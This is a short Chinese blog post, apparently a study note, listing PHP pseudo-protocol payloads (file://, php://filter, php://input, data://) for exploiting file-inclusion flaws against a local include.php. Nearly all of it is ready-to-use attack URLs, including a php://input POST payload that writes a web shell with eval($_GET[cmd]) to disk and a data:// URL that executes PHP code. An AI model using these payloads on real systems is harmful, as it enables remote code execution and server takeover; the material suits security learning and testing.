伪协议:

伪协议:

1.file://协议:

1.1 file://[文件的绝对路径和文件名]

http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

1.2 file://[文件的相对路径和文件名]

http://127.0.0.1/include.php?file=./phpinfo.txt

1.3 http://网络位置和文件名

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

2.php://协议

2.1 php://filter使用

php://filter/read=convert.base64-encode/resource=[文件名]

2.2 php://input的使用

http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

3.data://协议

3.1 php>=5.2.0 , 可以使用data://数据流封装器,以传递相应格式的数据。通常用来执行php代码

data://text/plain, ???
如
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
posted @ 2023-06-08 16:13  Magic水瓶  阅读(22)  评论(0)    收藏  举报